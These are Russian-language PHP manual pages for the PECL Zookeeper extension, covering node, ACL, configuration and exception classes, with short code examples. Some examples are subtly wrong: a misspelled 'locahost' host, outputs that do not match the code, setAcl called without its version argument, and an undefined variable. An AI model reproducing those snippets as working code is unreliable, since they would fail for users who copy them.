Zookeeper::exists — Синхронно проверяет наличие узла в zookeeper

Описание

public Zookeeper::exists(string $path, callable $watcher_cb = null): array

Список параметров

path

Название узла. Выражается как имя файла с косой чертой, разделяющей предков узла.

watcher_cb

Если не ноль, на сервере будет установлено наблюдение, чтобы уведомить клиента, если узел изменяется. Наблюдение будет установлено, даже если узел не существует.

Возвращаемые значения

Возвращает значение stat для пути, если данный узел существует, в противном случае возвращает false.

Ошибки

Метод выдаёт PHP сообщение об ошибке/предупреждение, когда количество параметров или их типы неверны или не удалось проверить наличие узла.

Предостережение

Начиная с версии 0.3.0, метод выбрасывает исключение ZookeeperException и его производные.

Примеры

Пример #1 Пример использования Zookeeper::exists()

Проверка наличия узла.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$r = $zookeeper->exists($path);
if ($r)
echo 'Существет';
else
echo 'Не определено или ошибка';
?>

Результат выполнения приведённого примера:

Существет

Смотрите также

  • Zookeeper::get() - Синхронно получает данные, связанные с узлом
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Синхронно получает данные, связанные с узлом

  • « Zookeeper::exists
  • Zookeeper::getAcl »
  • PHP Manual
  • Zookeeper
  • Синхронно получает данные, связанные с узлом

Zookeeper::get

(PECL zookeeper >= 0.1.0)

Zookeeper::get — Синхронно получает данные, связанные с узлом

Описание

public Zookeeper::get(
string $path,
callable $watcher_cb = null,
array &$stat = null,
int $max_size = 0
): string

Список параметров

path

Имя узла. Выражается как имя файла с косой чертой, разделяющей предков узла.

watcher_cb

Если ненулевое значение, на сервере будет установлено наблюдение, чтобы уведомить клиента об изменении узла.

stat

Если не NULL, при возврате будет сохранено значение stat для пути.

max_size

Максимальный размер данных. Если используется 0, метод вернёт все данные.

Возвращаемые значения

Возвращает данные в случае успешного выполнения и false в случае возникновения ошибки.

Ошибки

Метод выдаёт ошибку/предупреждение PHP, когда количество параметров или типы неверны или не получается получить значение от узла.

Предостережение

Начиная с версии 0.3.0, метод выбрасывает ZookeeperException и его производные.

Примеры

Пример #1 Пример использования Zookeeper::get()

Получение значения от узла.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$value = 'nodevalue';
$zookeeper->set($path, $value);

$r = $zookeeper->get($path);
if ($r)
echo $r;
else
echo 'Ошибка';
?>

Результат выполнения приведённого примера:

nodevalue

Пример #2 Пример использования stat Zookeeper::get()

Получение информации о статистике узла.

<?php
$zookeeper = new Zookeeper('localhost:2181');
$path = '/path/to/node';
$stat = [];
$zookeeper->get($path, null, $stat);
var_dump($stat);
?>

Результат выполнения приведённого примера:

array(11) {
  ["czxid"]=>
  float(0)
  ["mzxid"]=>
  float(0)
  ["ctime"]=>
  float(0)
  ["mtime"]=>
  float(0)
  ["version"]=>
  int(0)
  ["cversion"]=>
  int(-2)
  ["aversion"]=>
  int(0)
  ["ephemeralOwner"]=>
  float(0)
  ["dataLength"]=>
  int(0)
  ["numChildren"]=>
  int(2)
  ["pzxid"]=>
  float(0)
}

Смотрите также

  • Zookeeper::set() - Устанавливает данные, связанные с узлом
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Синхронно получает ACL, связанный с узлом

  • « Zookeeper::get
  • Zookeeper::getChildren »
  • PHP Manual
  • Zookeeper
  • Синхронно получает ACL, связанный с узлом

Zookeeper::getAcl

(PECL zookeeper >= 0.1.0)

Zookeeper::getAcl — Синхронно получает ACL, связанный с узлом

Описание

public Zookeeper::getAcl(string $path): array

Список параметров

path

Имя узла. Выражается как имя файла с косой чертой, разделяющей предков узла.

Возвращаемые значения

Возвращает массив acl в случае успешного выполнения и false в случае возникновения ошибки.

Ошибки

Метод выдаёт ошибку/предупреждение PHP, когда количество параметров или типы неверны или не получается получить ACL узла.

Предостережение

Начиная с версии 0.3.0, метод выбрасывает ZookeeperException и его производные.

Примеры

Пример #1 Пример использования Zookeeper::getAcl()

Получение ACL узла.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$aclArray = array(
array(
'perms' => Zookeeper::PERM_ALL,
'scheme' => 'world',
'id' => 'anyone',
)
);
$path = '/path/to/newnode';
$zookeeper->setAcl($path, $aclArray);

$r = $zookeeper->getAcl($path);
if ($r)
var_dump($r);
else
echo 'Ошибка';
?>

Результат выполнения приведённого примера:

array(1) {
  [0]=>
  array(3) {
    ["perms"]=>
    int(31)
    ["scheme"]=>
    string(5) "world"
    ["id"]=>
    string(6) "anyone"
  }
}

Смотрите также

  • Zookeeper::create() - Создаёт синхронно узел
  • Zookeeper::setAcl() - Устанавливает ACL, связанный с узлом синхронно
  • Разрешения ZooKeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Выводит список потомков узла синхронно

  • « Zookeeper::getAcl
  • Zookeeper::getClientId »
  • PHP Manual
  • Zookeeper
  • Выводит список потомков узла синхронно

Zookeeper::getChildren

(PECL zookeeper >= 0.1.0)

Zookeeper::getChildren — Выводит список потомков узла синхронно

Описание

public Zookeeper::getChildren(string $path, callable $watcher_cb = null): array

Список параметров

path

Имя узла. Выражается как имя файла с косой чертой, разделяющей предков узла.

watcher_cb

Если ненулевое значение, на сервере будет установлено наблюдение, чтобы уведомить клиента об изменении узла.

Возвращаемые значения

Возвращает массив с дочерними путями в случае успешного выполнения и false в случае возникновения ошибки.

Ошибки

Метод выдаёт ошибку/предупреждение PHP, когда количество параметров или типы неверны или не получается перечислить дочерние элементы узла.

Предостережение

Начиная с версии 0.3.0, метод выбрасывает ZookeeperException и его производные.

Примеры

Пример #1 Пример использования Zookeeper::getChildren()

Перечисляет дочерние элементы узла.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/zookeeper';
$r = $zookeeper->getchildren($path);
if ($r)
var_dump($r);
else
echo 'Ошибка';
?>

Результат выполнения приведённого примера:

array(1) {
  [0]=>
  string(6) "config"
}

Смотрите также

  • Zookeeper::create() - Создаёт синхронно узел
  • Zookeeper::delete() - Удаляет синхронно узел в zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор сессии клиента, действителен только в том случае, если соединения в настоящее время подключены (т.е. последнее состояние наблюдателя - ZOO_CONNECTED_STATE)

  • « Zookeeper::getChildren
  • Zookeeper::getConfig »
  • PHP Manual
  • Zookeeper
  • Возвращает идентификатор сессии клиента, действителен только в том случае, если соединения в настоящее время подключены (т.е. последнее состояние наблюдателя - ZOO_CONNECTED_STATE)

Zookeeper::getClientId

(PECL zookeeper >= 0.1.0)

Zookeeper::getClientId — Возвращает идентификатор сессии клиента, действителен только в том случае, если соединения в настоящее время подключены (т.е. последнее состояние наблюдателя - ZOO_CONNECTED_STATE)

Описание

public Zookeeper::getClientId(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор клиентской сессии в случае успешного выполнения и false в случае возникновения ошибки.

Ошибки

Метод выдаёт ошибку/предупреждение PHP, когда не может получить идентификатор сеанса клиента.

Предостережение

Начиная с версии 0.3.0, метод выбрасывает ZookeeperException и его производные.

Смотрите также

  • Zookeeper::__construct() - Создаёт дескриптор для общения с zookeeper
  • Zookeeper::connect() - Создаёт дескриптор для общения с zookeeper
  • Zookeeper::getState() - Получает состояние соединения zookeeper
  • Состояния ZooKeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Получает экземпляр ZookeeperConfig

  • « Zookeeper::getClientId
  • Zookeeper::getRecvTimeout »
  • PHP Manual
  • Zookeeper
  • Получает экземпляр ZookeeperConfig

Zookeeper::getConfig

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

Zookeeper::getConfig — Получает экземпляр ZookeeperConfig

Описание

public Zookeeper::getConfig(): ZookeeperConfig

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает экземпляр ZookeeperConfig.

Смотрите также

  • ZookeeperConfig

User Contributed Notes

There are no user contributed notes for this page.


Возвращает время ожидания для сессии, действительный, только если соединения в настоящее время подключены (т.е. последнее состояние наблюдателя - ZOO_CONNECTED_STATE). Это значение может измениться после повторного подключения к серверу

  • « Zookeeper::getConfig
  • Zookeeper::getState »
  • PHP Manual
  • Zookeeper
  • Возвращает время ожидания для сессии, действительный, только если соединения в настоящее время подключены (т.е. последнее состояние наблюдателя - ZOO_CONNECTED_STATE). Это значение может измениться после повторного подключения к серверу

Zookeeper::getRecvTimeout

(PECL zookeeper >= 0.1.0)

Zookeeper::getRecvTimeout — Возвращает время ожидания для сессии, действительный, только если соединения в настоящее время подключены (т.е. последнее состояние наблюдателя - ZOO_CONNECTED_STATE). Это значение может измениться после повторного подключения к серверу

Описание

public Zookeeper::getRecvTimeout(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает время ожидания для сессии в случае успешного выполнения и false в случае возникновения ошибки.

Ошибки

Метод выдаёт ошибку/предупреждение PHP в случае сбоя операции.

Предостережение

Начиная с версии 0.3.0, метод выбрасывает ZookeeperException и его производные.

Смотрите также

  • Zookeeper::__construct() - Создаёт дескриптор для общения с zookeeper
  • Zookeeper::connect() - Создаёт дескриптор для общения с zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Получает состояние соединения zookeeper

  • « Zookeeper::getRecvTimeout
  • Zookeeper::isRecoverable »
  • PHP Manual
  • Zookeeper
  • Получает состояние соединения zookeeper

Zookeeper::getState

(PECL zookeeper >= 0.1.0)

Zookeeper::getState — Получает состояние соединения zookeeper

Описание

public Zookeeper::getState(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает состояние соединения zookeeper в случае успешного выполнения и false в случае возникновения ошибки.

Ошибки

Метод выдаёт PHP сообщение об ошибке/предупреждение, когда ему не удаётся получить состояние соединения zookeeper.

Предостережение

Начиная с версии 0.3.0, этот метод генерирует исключение ZookeeperException и его производные.

Смотрите также

  • Zookeeper::__construct() - Создаёт дескриптор для общения с zookeeper
  • Zookeeper::connect() - Создаёт дескриптор для общения с zookeeper
  • Zookeeper::getClientId() - Возвращает идентификатор сессии клиента, действителен только в том случае, если соединения в настоящее время подключены (т.е. последнее состояние наблюдателя - ZOO_CONNECTED_STATE)
  • Состояния ZooKeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, можно ли восстановить текущее состояние подключения ZooKeeper

  • « Zookeeper::getState
  • Zookeeper::set »
  • PHP Manual
  • Zookeeper
  • Проверяет, можно ли восстановить текущее состояние подключения ZooKeeper

Zookeeper::isRecoverable

(PECL zookeeper >= 0.1.0)

Zookeeper::isRecoverable — Проверяет, можно ли восстановить текущее состояние подключения ZooKeeper

Описание

public Zookeeper::isRecoverable(): bool

Приложение должно закрыть дескриптор и попытаться переподключиться.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true/false в случае успешного выполнения и false в случае возникновения ошибки.

Ошибки

Метод выдаёт ошибку/предупреждение PHP в случае сбоя операции.

Предостережение

Начиная с версии 0.3.0, метод выбрасывает ZookeeperException и его производные.

Смотрите также

  • Zookeeper::__construct() - Создаёт дескриптор для общения с zookeeper
  • Zookeeper::connect() - Создаёт дескриптор для общения с zookeeper
  • Zookeeper::getClientId() - Возвращает идентификатор сессии клиента, действителен только в том случае, если соединения в настоящее время подключены (т.е. последнее состояние наблюдателя - ZOO_CONNECTED_STATE)
  • Состояния ZooKeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает данные, связанные с узлом

  • « Zookeeper::isRecoverable
  • Zookeeper::setAcl »
  • PHP Manual
  • Zookeeper
  • Устанавливает данные, связанные с узлом

Zookeeper::set

(PECL zookeeper >= 0.1.0)

Zookeeper::set — Устанавливает данные, связанные с узлом

Описание

public Zookeeper::set(
string $path,
string $value,
int $version = -1,
array &$stat = null
): bool

Список параметров

path

Имя узла. Выражается как имя файла с косой чертой, разделяющей предков узла.

value

Данные, которые будут храниться в узле.

version

Ожидаемая версия узла. Функция завершится ошибкой, если фактическая версия узла не соответствует ожидаемой. Если используется -1, проверка версии выполняться не будет.

stat

Если не NULL, при возврате будет сохранено значение stat для пути.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Метод выдаёт ошибку/предупреждение PHP, когда количество параметров или типы неверны или не получается сохранить значение в узле.

Предостережение

Начиная с версии 0.3.0, метод выбрасывает ZookeeperException и его производные.

Примеры

Пример #1 Пример использования Zookeeper::set()

Сохранение значения в узел.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$value = 'nodevalue';
$r = $zookeeper->set($path, $value);
if ($r)
echo 'Значение сохранено';
else
echo 'Ошибкак';
?>

Результат выполнения приведённого примера:

SUCCESS

Смотрите также

  • Zookeeper::create() - Создаёт синхронно узел
  • Zookeeper::get() - Синхронно получает данные, связанные с узлом
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает ACL, связанный с узлом синхронно

  • « Zookeeper::set
  • Zookeeper::setDebugLevel »
  • PHP Manual
  • Zookeeper
  • Устанавливает ACL, связанный с узлом синхронно

Zookeeper::setAcl

(PECL zookeeper >= 0.1.0)

Zookeeper::setAcl — Устанавливает ACL, связанный с узлом синхронно

Описание

public Zookeeper::setAcl(string $path, int $version, array $acl): bool

Список параметров

path

Имя узла. Выражается как имя файла с косой чертой, разделяющей предков узла.

version

Ожидаемая версия пути.

acl

ACL, который нужно установить.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Метод выдаёт ошибку/предупреждение PHP, когда количество параметров или типы неверны или не получается установить ACL для узла.

Предостережение

Начиная с версии 0.3.0, метод выбрасывает ZookeeperException и его производные.

Примеры

Пример #1 Пример использования Zookeeper::setAcl()

Установите ACL для узла.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$aclArray = array(
array(
'perms' => Zookeeper::PERM_ALL,
'scheme' => 'world',
'id' => 'anyone',
)
);
$path = '/path/to/newnode';
$zookeeper->setAcl($path, $aclArray);

$r = $zookeeper->getAcl($path);
if ($r)
var_dump($r);
else
echo 'Ошибка';
?>

Результат выполнения приведённого примера:

array(1) {
  [0]=>
  array(3) {
    ["perms"]=>
    int(31)
    ["scheme"]=>
    string(5) "world"
    ["id"]=>
    string(6) "anyone"
  }
}

Смотрите также

  • Zookeeper::create() - Создаёт синхронно узел
  • Zookeeper::getAcl() - Синхронно получает ACL, связанный с узлом
  • Разрешения ZooKeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает уровень логирования для библиотеки

  • « Zookeeper::setAcl
  • Zookeeper::setDeterministicConnOrder »
  • PHP Manual
  • Zookeeper
  • Устанавливает уровень логирования для библиотеки

Zookeeper::setDebugLevel

(PECL zookeeper >= 0.1.0)

Zookeeper::setDebugLevel — Устанавливает уровень логирования для библиотеки

Описание

public static Zookeeper::setDebugLevel(int $logLevel): bool

Список параметров

logLevel

Константы уровня логирования ZooKeeper.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Метод выдаёт PHP-сообщение об ошибке/предупреждение, когда число параметров или типы неверны или не удаётся установить уровень логирования.

Предостережение

Начиная с версии 0.3.0, этот метод генерирует исключение ZookeeperException и его производные.

Примеры

Пример #1 Пример использования Zookeeper::setDebugLevel()

Установка уровня логирования

<?php
$r = Zookeeper::setDebugLevel(Zookeeper::LOG_LEVEL_WARN);
if ($r)
echo 'Успешно';
else
echo 'Ошибка';
?>
?>

Результат выполнения приведённого примера:

SUCCESS

Смотрите также

  • Уровень логирования ZooKeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Включение/отключение рандомизации порядка конечных точек кворума

  • « Zookeeper::setDebugLevel
  • Zookeeper::setLogStream »
  • PHP Manual
  • Zookeeper
  • Включение/отключение рандомизации порядка конечных точек кворума

Zookeeper::setDeterministicConnOrder

(PECL zookeeper >= 0.1.0)

Zookeeper::setDeterministicConnOrder — Включение/отключение рандомизации порядка конечных точек кворума

Описание

public static Zookeeper::setDeterministicConnOrder(bool $yesOrNo): bool

Если передано значение true, клиент будет подключаться к одноранговым узлам кворума в порядке, указанном в вызове zookeeper_init(). Значение false заставляет zookeeper_init() переставлять одноранговые конечные точки, что хорошо для более равномерного распределения клиентских соединений между одноранговыми узлами кворума. Клиент C ZooKeeper по умолчанию использует false.

Список параметров

yesOrNo

Отключить/включить рандомизацию порядка конечных точек кворума.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Метод выдаёт ошибку/предупреждение PHP, когда количество параметров или типы неверны, или операция не выполняется.

Предостережение

Начиная с версии 0.3.0, метод выбрасывает ZookeeperException и его производные.

Смотрите также

  • Zookeeper::__construct() - Создаёт дескриптор для общения с zookeeper
  • Zookeeper::connect() - Создаёт дескриптор для общения с zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает поток, который будет использоваться библиотекой для логирования

  • « Zookeeper::setDeterministicConnOrder
  • Zookeeper::setWatcher »
  • PHP Manual
  • Zookeeper
  • Устанавливает поток, который будет использоваться библиотекой для логирования

Zookeeper::setLogStream

(PECL zookeeper >= 0.1.0)

Zookeeper::setLogStream — Устанавливает поток, который будет использоваться библиотекой для логирования

Описание

public Zookeeper::setLogStream(resource $stream): bool

Библиотека zookeeper использует stderr в качестве потока логирования по умолчанию. Приложение должно убедиться, что поток доступен для записи. Передача в NULL сбрасывает поток к его значению по умолчанию (stderr).

Список параметров

stream

Поток, который будет использоваться библиотекой для логирования.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Метод выдаёт PHP-сообщение об ошибке/предупреждение, когда количество параметров или типы неверны или операция завершается неудачно.

Предостережение

Начиная с версии 0.3.0, метод генерирует исключение ZookeeperException и его производные.

Смотрите также

  • Zookeeper::setDebugLevel() - Устанавливает уровень логирования для библиотеки
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает функцию наблюдателя

  • « Zookeeper::setLogStream
  • ZookeeperConfig »
  • PHP Manual
  • Zookeeper
  • Устанавливает функцию наблюдателя

Zookeeper::setWatcher

(PECL zookeeper >= 0.1.0)

Zookeeper::setWatcher — Устанавливает функцию наблюдателя

Описание

public Zookeeper::setWatcher(callable $watcher_cb): bool

Список параметров

watcher_cb

На сервере будет установлен наблюдатель для уведомления клиента в случае изменения узла.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Метод выдаёт PHP-сообщение об ошибке/предупреждение, когда число параметров или их типы неверны или не удаётся установить наблюдателя.

Предостережение

Начиная с версии 0.3.0, метод генерирует исключение ZookeeperException и его производные.

Смотрите также

  • Zookeeper::exists() - Синхронно проверяет наличие узла в zookeeper
  • Zookeeper::get() - Синхронно получает данные, связанные с узлом
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Класс ZookeeperConfig

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

Введение

Класс обработки ZooKeeper Config.

Обзор классов

class ZookeeperConfig {
/* Методы */
public add(string $members, int $version = -1, array &$stat = null): void
public get(callable $watcher_cb = null, array &$stat = null): string
public remove(string $id_list, int $version = -1, array &$stat = null): void
public set(string $members, int $version = -1, array &$stat = null): void
}

Содержание

  • ZookeeperConfig::add — Добавляет серверы в ансамбль
  • ZookeeperConfig::get — Синхронно получает последнюю подтверждённую конфигурацию кластера ZooKeeper, о которой известно серверу, к которому подключён клиент
  • ZookeeperConfig::remove — Удаляет серверы из ансамбля
  • ZookeeperConfig::set — Изменяет состав ансамбля ZK и роли его участников

User Contributed Notes

There are no user contributed notes for this page.


Добавляет серверы в ансамбль

  • « ZookeeperConfig
  • ZookeeperConfig::get »
  • PHP Manual
  • ZookeeperConfig
  • Добавляет серверы в ансамбль

ZookeeperConfig::add

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

ZookeeperConfig::add — Добавляет серверы в ансамбль

Описание

public ZookeeperConfig::add(string $members, int $version = -1, array &$stat = null): void

Список параметров

members

Разделённый запятыми список серверов для добавления в ансамбль. Каждый из них имеет строку конфигурации для добавляемого сервера (как показано в файле конфигурации), только для основных кворумов.

version

Ожидаемая версия узла. Функция завершится с ошибкой, если фактическая версия узла не соответствует ожидаемой версии. Если используется -1, проверка версии не будет выполняться.

stat

Если не NULL, будет содержать значение stat для пути при возврате.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Метод генерирует ZookeeperException и его производные, когда число параметров или типы неверны или не удаётся сохранить значение в узле.

Примеры

Пример #1 Пример использования ZookeeperConfig::add()

Добавление серверов.

<?php
$client = new Zookeeper();
$client->connect('localhost:2181');
$client->addAuth('digest', 'timandes:timandes');
$zkConfig = $client->getConfig();
$zkConfig->set("server.1=localhost:2888:3888:participant;0.0.0.0:2181");
$zkConfig->add("server.2=localhost:2889:3889:participant;0.0.0.0:2182");
$r = $zkConfig->get();
if ($r)
echo $r;
else
echo 'Ошибка';
?>

Результат выполнения приведённого примера:

server.1=localhost:2888:3888:participant;0.0.0.0:2181
server.2=localhost:2889:3889:participant;0.0.0.0:2182
version=0xca01e881a2

Смотрите также

  • ZookeeperConfig::get() - Синхронно получает последнюю подтверждённую конфигурацию кластера ZooKeeper, о которой известно серверу, к которому подключён клиент
  • ZookeeperConfig::set() - Изменяет состав ансамбля ZK и роли его участников
  • ZookeeperConfig::remove() - Удаляет серверы из ансамбля
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Синхронно получает последнюю подтверждённую конфигурацию кластера ZooKeeper, о которой известно серверу, к которому подключён клиент

  • « ZookeeperConfig::add
  • ZookeeperConfig::remove »
  • PHP Manual
  • ZookeeperConfig
  • Синхронно получает последнюю подтверждённую конфигурацию кластера ZooKeeper, о которой известно серверу, к которому подключён клиент

ZookeeperConfig::get

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

ZookeeperConfig::get — Синхронно получает последнюю подтверждённую конфигурацию кластера ZooKeeper, о которой известно серверу, к которому подключён клиент

Описание

public ZookeeperConfig::get(callable $watcher_cb = null, array &$stat = null): string

Список параметров

watcher_cb

Если не ноль, на сервере будет установлен наблюдатель, чтобы уведомлять клиента, когда узел изменяется.

stat

Если не NULL, будет содержать значение stat для пути при возврате.

Возвращаемые значения

Возвращает строку конфигурации в случае успешного выполнения и false в случае возникновении ошибки.

Ошибки

Метод генерирует ZookeeperException и его производные, когда количество параметров или типы неверны или не удаётся получить конфигурацию.

Примеры

Пример #1 Пример использования ZookeeperConfig::get()

Получение конфигурации.

<?php
$zk = new Zookeeper();
$zk->connect('localhost:2181');
$zk->addAuth('digest', 'timandes:timandes');
$zkConfig = $zk->getConfig();
$r = $zkConfig->get();
if ($r)
echo $r;
else
echo 'Ошибка';
?>

Результат выполнения приведённого примера:

server.1=localhost:2888:3888:participant;0.0.0.0:2181
version=0xca01e881a2

Смотрите также

  • ZookeeperConfig::set() - Изменяет состав ансамбля ZK и роли его участников
  • ZookeeperConfig::add() - Добавляет серверы в ансамбль
  • ZookeeperConfig::remove() - Удаляет серверы из ансамбля
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Удаляет серверы из ансамбля

  • « ZookeeperConfig::get
  • ZookeeperConfig::set »
  • PHP Manual
  • ZookeeperConfig
  • Удаляет серверы из ансамбля

ZookeeperConfig::remove

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

ZookeeperConfig::remove — Удаляет серверы из ансамбля

Описание

public ZookeeperConfig::remove(string $id_list, int $version = -1, array &$stat = null): void

Список параметров

id_list

Разделённый запятыми список идентификаторов серверов, которые необходимо удалить из ансамбля. У каждого есть идентификатор удаляемого сервера, только для основных кворумов.

version

Ожидаемая версия узла. Функция завершится ошибкой, если фактическая версия узла не соответствует ожидаемой версии. Если используется -1, проверка версии не будет выполняться.

stat

Если не NULL, будет содержать значение stat для пути при возврате.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Метод генерирует ZookeeperException и его производные, когда число параметров или типы неверны или не удаётся сохранить значение в узле.

Примеры

Пример #1 Пример использования ZookeeperConfig::remove()

Удаление серверов.

<?php
$client = new Zookeeper();
$client->connect('localhost:2181');
$client->addAuth('digest', 'timandes:timandes');
$zkConfig = $client->getConfig();
$zkConfig->set("server.1=localhost:2888:3888:participant;0.0.0.0:2181,server.2=localhost:2889:3889:participant;0.0.0.0:2182");
$zkConfig->remove("2");
echo $zkConfig->get();
if ($r)
echo $r;
else
echo 'Ошибка';
?>

Результат выполнения приведённого примера:

server.1=localhost:2888:3888:participant;0.0.0.0:2181
version=0xca01e881a2

Смотрите также

  • ZookeeperConfig::get() - Синхронно получает последнюю подтверждённую конфигурацию кластера ZooKeeper, о которой известно серверу, к которому подключён клиент
  • ZookeeperConfig::add() - Добавляет серверы в ансамбль
  • ZookeeperConfig::set() - Изменяет состав ансамбля ZK и роли его участников
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Изменяет состав ансамбля ZK и роли его участников

  • « ZookeeperConfig::remove
  • ZookeeperException »
  • PHP Manual
  • ZookeeperConfig
  • Изменяет состав ансамбля ZK и роли его участников

ZookeeperConfig::set

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

ZookeeperConfig::set — Изменяет состав ансамбля ZK и роли его участников

Описание

public ZookeeperConfig::set(string $members, int $version = -1, array &$stat = null): void

Список параметров

members

Разделённый запятыми список новых членов ансамбля (например, содержимое файла конфигурации) - для использования только с неинкрементной реконфигурацией.

version

Ожидаемая версия узла. Функция завершится ошибкой, если фактическая версия узла не соответствует ожидаемой версии. Если используется -1, проверка версии не будет выполняться.

stat

Если не NULL, будет содержать значение stat для пути при возврате.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Метод генерирует ZookeeperException и его производные, когда число параметров или типы неверны или не удаётся сохранить значение в узле.

Примеры

Пример #1 Пример использования ZookeeperConfig::set()

Реконфигурация.

<?php
$client = new Zookeeper();
$client->connect('localhost:2181');
$client->addAuth('digest', 'timandes:timandes');
$zkConfig = $client->getConfig();
$zkConfig->set("server.1=localhost:2888:3888:participant;0.0.0.0:2181");
?>

Смотрите также

  • ZookeeperConfig::get() - Синхронно получает последнюю подтверждённую конфигурацию кластера ZooKeeper, о которой известно серверу, к которому подключён клиент
  • ZookeeperConfig::add() - Добавляет серверы в ансамбль
  • ZookeeperConfig::remove() - Удаляет серверы из ансамбля
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Класс ZookeeperException

(PECL zookeeper >= 0.3.0)

Введение

Класс исключений ZooKeeper.

Обзор классов

class ZookeeperException extends Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс ZookeeperAuthenticationException

(PECL zookeeper >= 0.3.0)

Введение

Класс обработки исключений аутентификации ZooKeeper.

Обзор классов

class ZookeeperAuthenticationException extends ZookeeperException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс ZookeeperConnectionException

(PECL zookeeper >= 0.3.0)

Введение

Класс обработки исключений соединения ZooKeeper.

Обзор классов

class ZookeeperConnectionException extends ZookeeperException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс ZookeeperMarshallingException

(PECL zookeeper >= 0.3.0)

Введение

Класс обработки исключений ZooKeeper (во время процесса маршалинга/демаршалинга данных).

Обзор классов

class ZookeeperMarshallingException extends ZookeeperException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс ZookeeperNoNodeException

(PECL zookeeper >= 0.3.0)

Введение

Класс обработки исключений ZooKeeper (в случае отсутствия узла).

Обзор классов

class ZookeeperNoNodeException extends ZookeeperException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

